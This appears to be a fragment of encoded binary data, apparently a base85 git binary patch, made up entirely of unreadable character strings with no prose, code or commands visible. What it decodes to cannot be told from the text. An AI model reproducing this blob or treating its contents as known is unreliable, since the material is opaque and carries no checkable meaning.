zZ%SP~x9qh%Oa0GZRLRH6h=uF8AKuHJrg8mR+)l~AdxP_zTur{D2CP!jsPd&>^4I)o z>ECmrq(VFS=g!4`d6NjUallM&QYEvr_}a{#PXV$eE#8mm_%NDEvH49zTtEU4}Tf zD`!S^n_E8uvnvwwTuUZkZT7)a*{DZnol>8E^|$an>5BM0@ClLlD2tPKNM=yuWFjoy zEKx|knQ)-qG<1CJyvwJ*jc?RQ2kvhXy9hE{jnNjZ3$WE7{oe}+kin=EDFl)yH7Mr) zLa4V`UiKIZgd;Zu6zKyv&r0kfrpg{RaDEbRpY{A8;#us~U4A!8cS5!079BF&lUlCr zL%&OogH7pZXG{ifYHJ6pDZKc+a^_Fhhle>I4|z2frcJ*2U@pCcl7L8G&g{-_ZTb9V z*FM7Gg__+Lih4!@E|#q2M(K2{FY6yv^={SUTOE{lj@nrq{;TslKc+KNd+^ehKgj@I z%uBU6Km8pLltACDf~;$;M;Tk^W50g9;Ol+ctH$v{@dcJy?3V)e!R)TR)_D_ge=a7T z5Wlbd5B%2g?jA+2Ey%Flz}t#p?-Hlv{MOdiN8p3S0p?BR?+l1X0;r{bDPk&%y z)gy~tr*n*UR)$P37Rw%Fq!+I@Ns*DyAlT%hW9tSNodKfTo+1NtBe+PCJxgHl<}bOQ zJN%4kQ6j$}IB}%;A0W#%B%uu)@)qz_N>yES&p%`**WcIwNkX8bp}(J$8f>BSZvV)W zWDn0#Beu0-&eM<&Hm0jS*VbXLgFPnH+VhrIdVQAbI^A$Y+?BxG?7-?uA(Y;9z$hZiSzTdvzR zyuMn?f6(hFIHok~@a^C4a9)O^hUDx`*@jEnHc#VQTW!q}`*NrFT1v9~GftT9+If&( zu-(9H00t#b{DP7dAI>D|nxO&GvEB@p`zM1Xjh#l5#w`$k+Ax=^el_uw?|bVvJ_xrm zhw)S0X9Fcq1gwNDj!v1`yJZM}SDmMRN%?mC*VVY7@N=nUhEf5O+^cIO)XO`X%iW8+ zEmia&lqTG%fPz~|WWUKj+~X@~-QoTlSM_OA8cNBq1r|?7l5TGOO}-y>kbWrJzA;C9 zpZcWpw!d@>-*wWd*&v7>IuWAk%evr)2>b8OB@i0s&;yFk-R!wGv-KAA=tnod;hsJr zQ818hXk?xCqa0jQc|l6|hEjj|c73hjzt2wN0s<^Mo-=)SWacCd0>QEOvbk}6&t0Nn z-ur(_5w>HV9GlWFFmiI*5AbYRdJ@Y`3M%>{&~e`>ot!-zI4AuZmp_>-$TN>^?I+Cl z){)~BjrQ~^+gUj8xh|c%Qo@RkcEW`IS8nGz>*wBc@ys3t;~jsszbCkDL7HGDvO=%J zKk=TcE^Q@scO`<~Tg~_fK&Mz;C4;f50y97Um{gOOO-W_7(PdFFn`NqTt~mB$x~jyY z9pePxSnOmMEfyMd%}|YXtU-TqIx12S`FgY0tzp!T4?HBAKwvIAnXx-uG`! zvf5&xlStL6t@`4s`N8r;S6eJTkI1)rRz11n zS!CRz=|V(W9Ogo*1`bhNxHa&M{=LIYJ0@Jse)P0;?8&*v$XCHNE=weF80K02hBMUD z>&?P%L0q6OvHO=w-xp!c7eDXcHK%L#{IXTw=l$|rUdNaIx2-V-D#YW+hD5z(2F0wl zg^~jWZ0`L$f&@a63P;bUeVK0j@)d`vL?TOpMR?1-_LqO_EX2<~?8ldeTefeL-hRaC z58CEQE7IlMrp`*m%r@S4S&Q%Ra4Ak3rPM_z`$|7XjcJ5SMkp4E@lz)8! zXHlUrcOZKeYe5}pj`^teX8E>}YRw}JA+NP7p{@F!JFfUpg90tAY^GXoy7moS4Sy*=yAw@K z4&2dtE6uMv`aj00U1@%{nxCHy8R#KjT&QS1|9locfBI^qpDsUoNbaZYj~TU;H@A2B z%gILH4+>9e7`7^|Tnm{0>3y3fCwcwSrVjkbv{x0rUYGlF&J^ZX?T1L^PV~qT2~IMqKg(OKH_=?B@G;EQ*HWIP^gzm9P1x&GBC zmn74h-&bUlLWcDTRKq*`Q#gyz#AZ;sRaA0_!ny=#GYxJ-F1L&%YC0y$zj9h#}479gS(%pcE(&AT+nX37Z7lWDLAAc zm(_X#*^tpE_CBXtl0D~!cA(_h(gmOVsyVzD@%!STA)oIC*Y7uSaPsuEHPxHBJum{s zgzh-fJM=D7UeNrQ^$Ewi&~9zT8$EqrzAQd(u6@a%rVWf9 zbyL>s%>B!l+~QU{OONd?9=^ZeHK8_PZRsmPIHGqqcCqo%VS`*qFn14q8y1`aXB&l+ zUNAgIv?GZ}2U>1ldeu?mi@h|k(&e&xF;9HZ;el4vu3ZDttgkn@VZRbOB6ax!|9C-k zcg<_BWdxel<8?6qR2sM3eesP_-~n`3!kZFE=bX%JvdHFFau|ItVjnC)@0QbSkYJZV zp|}u2Yq^M8szsiq)lS2EKPr^*g7I{V06v}?3x8I9A(8hN7ILZSFydX!(XB?X$u*rf zyesWZ!J(M1?tVtiBP$YRM*o*=`adhA|HYdAKWx+gC7WWl(5C-CWK+yBQ`{aNRLK*g zA*12&lCww|%o2pJAvLq&t zNrqQYth$}s2V213fx!u&WgU1RNa>72V1w{vP>z@|7=+kLx?l=K$CcMXU=%v&l4iuT zv+>$Rp+0XssGa&a?Hu3?XG^}Y6&=`;i7GU*i6hDIL_76qnS6iXgFDBq6bGp1K&N@O zFRfoG0DFaoUs~8?x${zUHafPl(cqt-)4a@?$fT=6(m^KmNO3|~jC$0rn~8{XL?5BY z8+MYh3~O4?dv;&ibI_ss=lF|-M`)VLpEUPD;qW^B%HtqGFMS$QN^;r-SlpS2q^<8L zsNmwfQwc%MkiVl+vnlC9lMy#OmDx+}Q)`|_C>0Jana`;rW;#Xon{+&r{aZb1E{gdA zM7a^HugzROnf?7wP2R#OYXep0=Cm1zY{&UuuP<9&=2dn{I z#kBdNow;(*Loc^BA^=({zX}DNgE-rz&K)0h+V=R;Im~ItYqDRw6?|OpAu`2#{$q-i z^3u=Cf(^5rEif>ViyBB^!A)fiVshv9)}%UYF0;!pBDXJ}ZlFRovf2~YWGV8>DT-|5 z5#+nMOt~D^nchvv(xzn6g4w;yqY8r?h8>(J_ku3v$^Ti%#L=!L2-O&jq^lAcRE-^R z_(|o-jQD)Pnx|TKm?|eoKDpB)8)*abrr$V`GYe;tZivHMfsJvhi+*cT4{l-)cZ%|+ zv!5x?>mN};fO94?+)X#Q-TrJ4S>WAEH3jsp{izBw`n}gXMQ;&$40t%UicP&v` z0PZ7a#o8`z$Siq$I6cyj=5|&?Rjc)Wy}%0!9D1WbleF~N!ELeagHHvkX`i!hBgZ+z zcAb*3Ff=)MMP*GG=N?qc@SnmYp1En;3e$AHzn*?fUEx9;Lm>Qcp^7Yu^x;MBQuj!g z%Mz~WCSftlFzI)?D_}2*8!bWIBVtmar|JxIf_G|rKD9EyJ|rdVBrn1oga4T&)0;Y9 zQ(?c%d6P7~MKHMDl?-ruBk{@CscJ7E9^Y$uLHD)&ppygiOlGgsnWG^kBd=pnZLFX> zq!ujb`qiuzi0vGCOZy3-2+D%g#9Q(rP1u3o=Q<1vNtc;L%wm^}vQ9t>G!hWsF&}eC zJiJJgsbN|RhET#Xgx0(>%a?1kHK=0Rm)VUfHK^ zf)kMauz^MEhJ2&1*>(y?5tC~Pebx(#$2|2(xB@rDgsPqDb9|AcN6emdO~J{^3!U!t zG4H%nIMlc67zY>9DO zi7HAayQ++vI+vwiAEn%QEFxz|h`M2_yjQbUF6(k~cp*oSe(7rTAvHsx_f`sm!V@!} zmxI2LwD4ssU8*W;KfR41z7sN&k;WxKK7$S>5q{YK2ZHrLA5wV-c45v~IiZwv_<4(= zwT&xi1}QdEatBqsmud^8hiMF^X9MFeE}qe9b5PuH40oSP1yc7e5w@OZP(aQ&^(C#S z8ahHcFDLY57FDWs)a`gYVjD{h*q=o-O96bC%Un^!vLHzcj90y%pmwd=11i1A*_;f( zvsXvh`HqU4+x#@eN|8&zbFP)PiP-|5 z8GxBdjSwUdJ*CM|jRdn*uwIuja9#mXnYE+9{loqxR5x!0COCSsY!a4}IuH2-XZFeH zq!E#KQ0Ps)_BD8jyi#ubvN-|xbUK%8TCg}MHrRC!5G$DPUq(M#M!VW`E!E?*_`R=d zvXuk*7vpXR6tzjfR!q79uIgB(h`=!#%|F5(kPx4qMy9UHTLmq#Dhr|*pYK-GB~Hy> z&eExvSDPyt-RUl;>3L#484|JSTn*JX#x_V?YkqA^D0fL z%S!zttH{5?9f~8*d!a!a@*Q1TN(li+67-M{olt@ehjP$Mo0tcip1Z>9A1NIgiH8wQ zFR#F)W7iLGEjvkZ z(cW=XwFBHd&N?849^ON(PnuBGjB>OO-b|R9Mt1h4Is^o9zSuyMA^ByAI67a9C)(I% zt9zOQTf>c64ZY0g^c3bkr0wlVwuP$9K~Q_+XJ8|?hCZW2B}Y~hgxXpS_ZerMOq5|g z85>Yohd1d=n3BkD_t{Q^0*fPAbk?jXI|G@q)ED%66y~MOg=?LM3TmtPK!_12X=`A!;0x@z$Fq5x7pB9|E6B=L zP^g`y{JXBVcEE~8Rf~Prum&3Q2&4)6kzX*PZVQ{qsy)6y_N9q+u(Svh+6MY)z+%Mx zRVm)B3JgN#oK^8IkGm0|vvX$ORZEQ;+gDJPP^)5the~QaQ0(eu^r+5+OHp`=r>P&{68gcUgEml)h~PFlbo??Q3JcP+6dV zAX}ha(qWJ`u$ZDffh6hWDj=rc)M;z1;9KN@Nm(Hcw=W8=tc@k6{5ka`n8lH`6QK~-K)GW}RC zTIg7Z=9vO-^bq{)B`!+$5glMFqDSN-s(-Mmp6!iZ+=B;%ydPV~fKM{cm81o!6t<0v zx(faq(aG4XV0R<~`}EhLI?U%FQad1iRVk7p=-euE8J~wcRy&PLqX^nz3g0MCFatftXgnxKHGl92>4#1D9|ib zX!{(LWl#_%c8XfGlM#D9a6-PzTTl1qZ=B4fzGgKDJx<=;%ssMVjMLGke?<#7eh(#) zUThR#_29>2mhi;$4yuFclLSD-bIixt9u3>9DaOfrz^iBZik0tDC7v<5VS--{NRC4? z9zhmhgIF{xbVI9T2V5nV;48ZC5I8bp2=zS33bvncXM{Sqz|6FpH95;Uc@pc!kh`&i zCr#!o6@@@I#6N&06Qb}THRv}F$-^kVIVNYsEbG{XAFOj3vCfdDQ|P<(suieNxW7VY z-jAa!$wh=)W^jWr&u{;wZ~iS&62Wu+QZNX7w z@XN|0oB_HSN-&|2Bzfw-*y9XT9qmVwKWOzb7&Z?0+xbN*52)FQi#{{5cjAj-h0DH+ z!kK}IagXM$fgSR7(?OS$0jFTE?4GPR21~KzY510x=Z8Swf$hWl5fv=Aqq3Ru;VuGOPkVkI zsK|Yyx$uSVej{%DD*69Rz(cA26O!6#35v4~7|Tj@v|TQ%NBaKhuxHl1 zOv#?Lz_)nBjw zk=BcfJ}(;6qd&gK{_U+a&%WuhosvUCxg}B3b8qyE&r?NO=jlC@GPwK(dbIh=pa>r9 z2~KDa5`+!Njd-*m%bsg4Lp_dS5Lb-pB7@&uW>c9Tpw!x5c{)iM|H)!n%nU0Nf*$Gm zXZ-`*lGVf#Mphe@RhiG&5xQG;@G)Z}%Csc+h~6@CJ#E{&ysL<16vW1}X%V%iu&D5x zcYl$bv54bNr(J5w8+EyZ6{2=HmlG(fGE5`E3GcNR2(`gQC2QVL)!(q5!8ml$x>7Ob zeBVxnd5@e(B`Y^YYL1ncN;nNF?Ow1^iL-a-e#qz1JC`Nt_LM%z^-A$e_&)#*N0MtW z=Sc@diw`0V>ih0Gl7kWDwy2pTUotO+vGINJER%Lswg%L`2?MR(b_bSGPFrrkg6&dk zOqr`-ur0>w@e8Oor{cr<4ui>@6==)^Tr@BLs+Qtnlc2y;5xq1S`3_A7*+}HsHBc;p zwP}d3I51|m<7e)Bx>?8cS*7DB^<2WB5knoe7&e*L5Q#@bDy(Clp*bIsIeq%0tkcm5Qbshn&>kVU7IDp9Sy#d0+$;QW!;vxQl1>W{zprMJ#%N01o^l z%-|1Hf~th(6)IY&x?t)+2w-V~pLLRPQt2s~iiE-t@fUtNVMk2+-8C^JhwnYD9bA-H zoh%1RNE?GK!a}#8N+NgWe@DFw+GbK;y?*d$e6;HOXE=z_@Hcg3J&!d^lC85t-o725-7c5TAOK4fj0^!bsA(XEN+SwT&-cKxuIL?Rk0MyVi4eJAXshk`L~_m9`Lh3 zQH-QO+200vd&{vF28%3!M-Fb-%Qj_5(%R zPVz8Yn$N`H(_GI;dD}f-)mS5OxPdk~(*Z&U=C=v4{!AE>Ea}#rgsPRB4lvzU>dWBg z18acszp5VoTBYPMhH>)yAU9;Re{IsNOs9}vE3+k%Q4&yZ=saX8Ve1pG!~At7vI^zC zzP^MEkT|C$3(H{C;rH;{F2)fI+@md|A)rWVe!=@Na%P-rdW9Lj{>)g4q;JJUfm<7^ z2N40a<_dL}!SP75dbMNHQw8^ff#dtr5QE3ekO*L*0E+%!P$ ztP%U*g65D}u%#UBAVlE@^ni4NVqV&z7wfr5ZoIrt!xgl^1xm?`HnGPGm~KQ0nYAQA z7&ZYRMfR91^yj)c))UY<(6(iX;C#nP*%z%QLz+S_EwQ9_Jz!U5%Vz0yY ze*kVG-HionQl+0%*!G^Ff-Z9B3LJ&|UVC?p5*or2ZBZ@_e$~kFe*joe2`^R#o7F&Zvk!J1E14 z5vER_;!~Z{QWqeS)Pnm#!+RKeL2lJ!KM_H0dT7o8Xd>R@&08R!_sp@@X)|N2^k}xM8zT$_Is&{$ag%4OQ5O z!6NjgZgEG2|58u zFT)G^T-G725qO6A4#66-QWWMKr9i|xdd&{P5X=C0@{k;$X0o;mTl-;k9x zc>XME)wb|Kpe7>P44Y!bl26xPB9}U6?Dz*Ld=AzW2lfWESoCpnZ?jK|tkpZ@nEh8q zSB?G3(`>~NLd;{z>@FeEhk-zdS<@DQd1l@L9Ck&;4F_6X6?tW8?FZ}Et;wWg8+XqEdOSlApZ?F6()JSG#$d_ ze9qBQsH{rJLYbp0VFSAj?Bo%5G(NVd!fcdENe)kx{D`+oGES+&-a!FxUsPY^^Lk7a zqAHP+!1^0oWm0<3#=(VB2EK@}g)+tidV2>Fwlg+E9ts08={eK1Z%Eq;7JopZRC?PF zspp_5^)uOQkzUgM>Ppsu-ZaP+LL%i$DxjrFRnTFwigmX%?lb2wa%@W=iN$)EAK`b7lj#|`11Nd|N5UZ;zD z!8^f2;$C4gBa>)SDac?vvAv52R{ENQ#!#z%uk+Jv%ayikGM*nSdV=&IJ(c=HYhT3- zCw7@L=7A%)IST-tkh+=#kq?XBR<2jA0ZYo~9^G1I7e%Y?F#dp%A6cb7G*hU2i)XA? zsr5A${sV|&)CW7n!Z5*Uenp3Hh|uH*Fdi-*8!!D_yveN#@t?b*g3ThIDTd%s!;w7&hr%i zzKF4%Up6TLYJ~h62@e~}1Fu58!-lR)rPJolZZJl_8`}VW%HZNjY=ATSE$~-SWE}4q zGC4DpS3nse^$H$){8VTDmS`Kl6eBOK$q`PR8xo#w162Dwxb@aEL5&wO=!Fb-=Z1(i zi8=MIS<^Hed(2BF7Lrtn<>Oaryr*ZUHRBlOO3B!uZi7TAeR}z~Dd5Qo9aM65iCW!1 z0A(z(Szg+@UkE<|htDsiGKO?7tDEz7YD7EuC3IimJ;_#5`jO0h<=PI@zy0vJsBw|d zWJlDYFetowWV4D`Z4l_ozYXQJ-wbJ3XFVYO?2&9jl}HNd8~G27d+n+2O4AkR{^ldo zbb3!o!jZ?t2leG16pMlxR=QRf<7EWsk*J0|nx=#zwe035yC_`(^GNiO@d>c|gM}>y zdAlyDIMXlyfwywLaxsPJ)%Ci^&7p8A{S6s-X40epHOtD^t#P4<(~nYj3&Ymg0@}c; zy2>z>2XCXb!2E-jyq=;W_BzEw2EaCpHhRLsage42Yb|SCaoYR}W>b>Htl9$?g#=dK zFFm_x2IV{gr@&?=)xKu9^d{#SH0)(Y!=DpT`A?ErCQGP~0X-fnLDk9mS6JUz>OO$u z9LE9QF!}&TbeeTUT5z<}0tLCc#1h6@*y)G}>3cobKzpODOLH8Skjrwf5Sg)-D=^;y zKq}!DI>b_z;{u{w{K}i|O4MvVtF8$M6&=|6o%~SRAx9sTCawfw;@%*H_LxP_3}1Sf z4ogjaU1hh4*p64y>m9v(R0jSR)1HiB;!11pNEf`VXDVLAi=mW6Sh(m=pIQ^M=`BSBs6 z1?B~rJQW0rx8}tBi}LmXF3NTRA3L6hKA(|IT!p^bRcv;qNTgSM6I>gqOnaHm|=BWT%o` zoGcYt3o@748}Jg6oB5d0b(v={i38%wk<84IJq@>LYO&r$4yBTINEA#(!S=~c7V{KTw3%b0-5-VAu1m&n;@mJ~2q_Ol)sAiE1jFxm0BTj#G;--=% z*B8^^IG5ejtHRS1Ou{*qg~x)X_a{IOrgi5+J|%u!!If48b#? zy`)u3L;410X}74I6~yP9n~?ifPVXvYt>uL|r@8Q}H)+g=tLiSiD8_@40qO$!CQ@wY z=*3;ZeWmg=?Lm@>g!Fi&HRw*_9`87bAY}G#8GccjrJR6i4`CHxRr)mF)EO+|M{oe9 zn;k(tY@XC&B2H$u)304K?M>}qe7ViCv(ewCA}QR8?f~cJyOvYWUJh0p2>MGMzA()k z_B|>1T&e!LGE*WBcA}TlSwK|bY;@>k^5-nbvQ3t?BCDPZ5Z*DKR;G!(DiEGp2h2MX zqeM;!3wcfiR1nxOUcj`{jV3&I2xQ@J>IetwG+@bPN2y{>C57wCru$Wik!!G?P8w~W zMAOTkEC(&kH>PvCv?XWMx&QFXl6}Hyy-P0O42f>2B{ZRw-QY?khG^uXg5@QWE=)(; zUy(}BzYRa{(HD(rLGSv)Vy)+6(%v%-O?Zst)>CNMG!2}4VE*E9)iFpJe-=$ehO2=t zIGXA>Lbu?Mq)P6MJ9`mnLIqP=O18Xh^Ojg&A2YZ7MJ8~%-bhy8$@BE z9S^o>?i-{Qis)bok-VB!9!Vab-zpD8x302b&ccNk2Hm!<@+GtK zR@(LJYEtIDOUmv40B8}zho>Tp$`_tyq6LZI>(GW=FUA|eXFhk?CC6o7QaX}%i(SEL zU~6p|wNOW?4;b&Ot6CizL^b~aV#$!r^q;WoxoyfgeBOSC67|O%JMPBBDwttsg9Et( z-U>YIBQ0w>?T0GkFK=Sz_fx=r+^4@MzTaw56M|NUWN2O25RVKT$b zglC^91EM@{98<#T>fOfkZFIMoNJCv7uti)sODI+miAP_|;h8QJxyFoEpoJxLBoH;h zAF*Df#HZN+J##gDP1QdxKIeqt29825FB$~dxPg5!=mKE`?>ulY9?q)>zR^e{Mm}&z z78UG{rI6Dlcx}XT0mQbP*uFPSTigqAxWK*vqlK~jDq+)Lz1Sp-lL$6Bj7=3#F+0Nx zB_JR%rLz$hze6=jB6CsS^OL^(+~8(51R+Lw6Vacl-5YLJhgJ#(K(0wP+0k`VBk!y9 zf(Ahho7afw6lSKHq&yOpL77l@2OMoOCe57$io@Oqb*Y3M1n=fAo>pS#S*yL`ErHxG z`y|*8^?+7okE)82(hbXV=>#{it6_*3#oy{Gwq@x&wv>E5Kwp+y6M8O?ywujz6tF}W zGEQ-w{adk;_35Woq7ewrLv!}N&LlD`;6ykZ%Dll%mI_HMA}|Ex+W@c1tI~T$=XQB# z0UK<=nxhJ3ZWdH@oX=1v{K>Q~c-aCWue2^v!Mzu!quxCimFGOb3EJkd$#@&4L!;Vm zR_XIo<@dc}?8Ah`;)Uisr+9r-0(4VM4)Tak6R6Wy_1@B|E#)nt0?0ZKc^^~)>@7_d2$Itr5(wYz z+u+Tlek%VN?AU2^EONCt8bwdvdTZ^@!KQn_VM@Iwey~-fd;(J4UJ(2y9`<%WHWqd> z0gOH=`w};f2W-Xi;X?#R!x(}Gd};6^gZ1RcWK0Mabc5nb$nbMiexu~P6DhyCzS4t`rNrkC>0*Akk+*o&!)UU znhwZVS4cz(EQ3bu73^se+Y3$sYO}~$C&K4q%>k)2P9VVv1gYF(jVGQ3<--zyX-!JU zA!FM_6S=CVWpXj{$OH0OmG>~is;8);pa#Zio;_f$U#P~ZQ3G%U$8B?7m+=RGRR6~v z0?B5HhXc1ObA)oEpPzqLZO9io@}q!HLN>^Srb&6$TH)oRJ3Ouf*e0u%cRfZDO{MRz zm)rHHv{!XDL*ehUZiaOY_Bj*2 zDUmZbTdLOvTTgfdJ0gJq%ZSi*9cR2?0cr6`h}aWmLup)}YMkWU=a-T3IOb){M7`|3 z41FYy;AZa}M(NFr!38-jClrvk*_{-3%+>|S`o^qT62w;gphWYzV~^W4L)Ax26K^V- zZrA&7ar=40+@t7lS~`DZz&S$~&&ECFQ{hr+AcpFk#Y>!mdx%IA=#M!I+?QvQJClD* z91Pv!!Hv8bM^kH6(L$4a#pYu(C)9s9igJ1`$#rGj$+Gn$yw)UJs1B~DNmeN>D;*{0 zbyb7_Lb>BIdq#qCv=o=RvXX%B#7S(Bt(xP>>2}C)gg^nTVGFur2z z7|e;Z7tT`^XOV@vW&krZ*DdU9*9o1u^Xb0wxhxCPIKAg{c8-jx^SW|Jw*2u-in{s4 zQP>ni%M;J%{uL|oyr2sRI+h%=uq9j)9dd<0lqJ>&6p#t{Q@fwPAV%)yO-l73xF`Ea ze^r&zhC4LC3M3p0VFC05(Y8s?VFG~{zo~VUZ|zg|Rca&=n7aj7z1G6Ne9szf}!$&Pa9i!zf!xsfTIV ze13JHN|8L936`_i&m}LaE@G{S3!sE;zd(!ToLWb^0psu9>jhUl%B0rS=X{>e^zqZS?6tA%jO02Eyb#5 zQsZC|tpnm31hwzLF;|ZtBs7My$S)}lF==XPcC36EPym~kBx#3JQEWiSfS&f8$dgK9 zPw^}|sNpegYqZkc|G_d+bgc6JV3g3|O2zxSV#&&%?DBqCI^1(GVDcYO)MwRx{-_*# zhI}R|u4?<12LG_0;g>=U0M;2{3|YfSrW^mt;KUvf_Eek}tUwL4k=Z0^ALLlto=NGF zUSM($jBINO&KI;x@=Qj)LG3!yTNOuWOJw9F@G>Y*&Y_d)?m|B-w}WWrNsoL;Q)O3x z{50^=N8yXO=Z&ywF*HmAi~6GQ3h@jxBmowFPB*s9N``K-n;0KVsAC{KdHB?@@sV&P zS*a(I^%EwS*bXJ43V#*F87RuN{#Y!mXUidxhV_64D1{O2sa#UsUgsF{8HrUWM?ph6 zYl{VCx@$?<%fAy|D@6W>RjCWz8lKdz@ysT%M%1SP021Ivh84SU!3Ag6|I+tJ9yD~s zG;YgTHQ04uqX|8Cx{`Y`DgQ|le_0`0D8%0az7)KXidE}QipIjXCbwa%$Rda!dhh@W zk_dFT-9!MTnM6p?j`2*O8rKzYG+*^sq3dik*(P0EtZVWMcHCe(;7y>@$>Yb<9S>9P zMC+>y5q<(^$uN^!yR=9w3E)d9k!G1cO@6l~)b2A7bC~`}jnztjaaDqip_a+v`zUET zl{WOLa& zz7y>{HXs?5efJqVg+Y6riRv}BueeEE|!MQ2d&w%HEcG)=(=0j`1wZRT^hM*gK7i;}xh*0MHg1 zU~MdlM2*BiK&1(33kqr;AzlzYxL3jRdzAE3%7giHA+zX^DqRdB=yA84C9$bI12SUI z5o_)iZlni8$m!-vN(N{`% zrT9{Ib{b|NOY4r_t!wUFjXqoO$LU@dhmgy2dHj}^$odL>;8UDo9O(OpMTU$Efiiwe7zFlon_eI)nN>(`ecpF$UJdd`|vHfAvo=0dr~ zm;O&fSK`iu|HpT4W+%gJW1IV^%zcF&t|TNy5_6=HN|GeU4p(vv9g=E8l2q!e(($c1 zVwGy7TKAM{m1_C=38CNqfjxVk?fJal@7LKc3t1Q7Qay5#@oyDxdvz6Y)fp)x1M?W* zWVa!z)PVU+aR!#>=%W4US(4`?^0ktZ7qeNF8H1b=0a7&X6zZqS1Qk+21t2Ro%45(S z7{jlkw8D~P7Gd_O)o1u1tU>#!taG|HXu$=^0(dCi2q^h+KklH~tw?Z>HL^}^jSN?( z_%yCfpzoN@*Nr^>hmK%m6{j$(-=bZwghzz+@wMJdX2~Qi@ROc1WfQ_0rLX&i?F($x zKG3d|mOSCns)XdDnA6NwqKxn8={sea*huO@&$BiQ=C~MAeh@k!2fRWX z+I&?AyutJ2QWu9jh3AsWmqx)gy0r1fb<)N z7*Lz{@$s>K1=t zIkbFS4tj~FjWHW426(3T4X(-*-yjJs+_LhOEG9wGylLFtmA_C5xr| zb$^T~CK>4Evd>hB-8~Jqe&_c;sc6*dFaL9ka68vDM>a0|eMY~+Y7pv_fj7M{^ zMYQkX!CTdjC=86`j5^PR-@$vg30X;jq4#CDec+f&SAnv=$(?2S=8+9vhX|8c6}5-U zl_Qe<6u$N0X?iWER23|44^`zkPfka5pC`t(2Whw{#arO~h$gEXbF$1A_#45Rr(oyJ z5_|tA_2taMGgq3cJQc3}rbVh{n{kTH%>A?~FOS2?x!^Qu3Of%IS=E}rIhep|c6(>O zYCDY8UC(TNZE!a6u3?2jY8x&u+!^pu`{cZmkpmPJMFT+{VCBIzH@l1wE+`k~v&P`Q zvp1H%Ay1lY@Y+Sk^v*78Gmue%moUN}!I4=L_#>hdTxW{y-b~S7#252^fGB+(;i(^HC#Wxcem3c-&Y)b1gh-n3hVXQ$ENvq}jn$>%# z?~09Q-~B-XshN_mjDuo^Z>g+x)j{L}8W%p9S6eEwxc`~mk+Y0Avd2o>UUGmg+GJ_A z>*UIl+}%}W!=y{Hu$3{pBQsFna?F>wYaUP7EOXeWy9si(mH40M2s)>%m0wWls?F8ZY2zO6&5YCoU8`^09Jsm?^-u6 zK5FVWCy6l+0{P7#kQ4UPnYCxalb4`{T2Y$ZSC-miFo2%cuiU>&N|I^Y?QN84rgw$= zIX8?H+XgF(xTz%OqlsDL4!B$L#)Zbxr3bj)e`sUN5ey#?vy=Pg3+!oE$xlt>jV1j$ ze3u8v3bBAO&j%U!a>!ltnL(V>1OsJY^8EVs6gAz~WqDL1x9@$Z4};u8G=NLm?cBBn z=}W%(Xmu)@-}Zd&%VO8!0oz#8Ble2yLQ%8dI2hZRzZ2M`x`|cfL-U~th|l6GSPoXD z_Y`rTwfc>@Vs8a*PVy0Vf_rb0^K;fqG_qQuX+#lvY~Hn!?%k^nH54{d_|3mp9v-YMDN95bE|?uw|gawHaF?JrNGg1rudd*bk?logdGrtr#- znxxAfj-&`?gp3jj-XAZX=4D=MsB9{R>8^s|DEa= z&%-whTiXZ9)zn_m4Ew(Vp;*(^l4-065|&>~YG^oTzK-EhdgED%EM=s4=rUbJd^57hpga*I%?>VFEZvHAs6J>GK+3KS{X5LzX|de zu(DbJe6+g)p@GY3TiMq=u@pN0wm!#yIfB_rdAd|QP5Ia?JutJ9d_AANA5tw+P?qI` zBi*G9%{jk7^n+hZx{Y87vMtipjH{`Vuh6Xc2=BR-YqpSnFOb10*D()I3SJ>BOO>V~ zq%ue@bBrtY5H;wo8DZ{a938o*=VeaZm~70v77G)Qg3%U!wcI;NzQ>-_LmZDOZ=fH@ zs8BTc-?B%g^QUSbpq}p;FB=DI%$iTBF6gUSmz~TPOhkN2S)>^Ev=~t)U#^z;JF6ia z;^LGh!bjveadA^f5q&hvUsE&>y8VjbVqeM-THWco#T?HLY~ zLo+`74}PjBH{HFc`b%fDYI-plLGHV2$+e89%O+irs(0~rb`?6%ZHy$tIq;=OKxtN~ z2zGp_))vJ&B5XbqrFfjRLU2llQfgl5J?$IPtx#k9X2}KiyiF%@f~G;GzmgAaRvNEpHL@?NgcC4OT-67%LX6^0yWwL)U~;|kVc$? z<^$AajwX2CD}*j0z5!{b_WU|{sb};9@M;nL5qZoJT#$P>{i$E*{k24b7vqm^##%&m zpRgYpc=u6>LS{+O!=Uaj0GU5G8QeB?X$(4JSyAvz-B)#dK z2xY}r8hrsg_u!iC(W>yyXov2j;q77hu%8m-;MLt=&Fm{tE>$Y)bkq-i%5%I9-VXmW zExj&73e^eGe?=Id6 zA_m=WfgWY#JxvDcT*ezIa+W(&D#Dnrcd2wHAYT6dze+hjC42uPcbt;UCIqhse(P@O z@wRcd32My~njWCwKCIc~pJz8q5x)aIN-4>7=qY)5M_67YaH&$9JB1N-GTcnc0E*t% z^hYjhTPgD>;LEc*v~|01?pwodF&kx%lbes^`ajwD-0Fbh-}Fp@9e8?fnQ@glo!o{v z#G)y>W@%3<77mTBReke`n(Yr;S#k@W6>+D7g?i$px6WGq!NyiTkNK$Q4%ZYCtNBV? zdmH@%UUVJ5g7Tk=n!>c}2(P{VT;}~?9yQZfZkf`g^BWj7jS%X@3a;uJyA^BrJ;~^Y z2~yI){I8+qB%2lG`&*umy4S{>Q>cK~K%xm$G)UNd5Hxa8|Be=-XLAgB5(b1h=0srupPNn8AhV*^E{(>Q;+oP?0Y5u< zZNW`mRrG2t1SqLgZ$i3%aq+q)e{&FfAdCD_w(Su7*_|)<3K#1C(S*Pyu}>E$FSp7o z-(Xhw7aP`#U4cYPzJgtlk4mY96>nE+33tswT z8&WwWd^W2-wl}YO#*@|i3a;N)o$PvZAL(Y)hTl2dnL}}SIy5TB{|{*W=2_uDnWJ(l@BqXV^hKVFy?40n zrKi$|{ST4T;#wqlqHy`LOq&5sY@{d$Rw+i$=Id}+Pq-8OGr{f4_ah{Ga!I^=A=Q~> zGpeySAqA+YVk%fhKXy$%G4cep!M2p}+{W)n&9I?gyE7g07y|ki-`MiCOyTuq&E3o` zf&Gf_>U@v=!{l#=c3jUdE0lTRJv=L+G`(}t+M~d5?D!va$ZBc7i=)n7N!Fktm8Scd zuz_jQ;nTf8U6Y#TUbyC&iHzSNJ1o8{ImOv$5s}bety&?8Ru8W%&H?$OoPk6|IxLiV zgLYDgPA8IGuK|Xa&;X3Yh}hFG}WB;ga3LbDJ&D3@NCTV{n?T|uWNbhi7(gh^9>J&%P^>rJ8VKdTc&FF z9pZ8`6M{m0LwA=UJrq035fd&Uf(=c4y@`AQh5v|MzI{x$tlWw*=?md*sSH646x%4C zlBd1Hloe%+MS5YNV=jltnK8I^pLtU7w%|L}{rcM8`Pvb16#37lCoQu7}eC%DGp#FZkzJm#W| 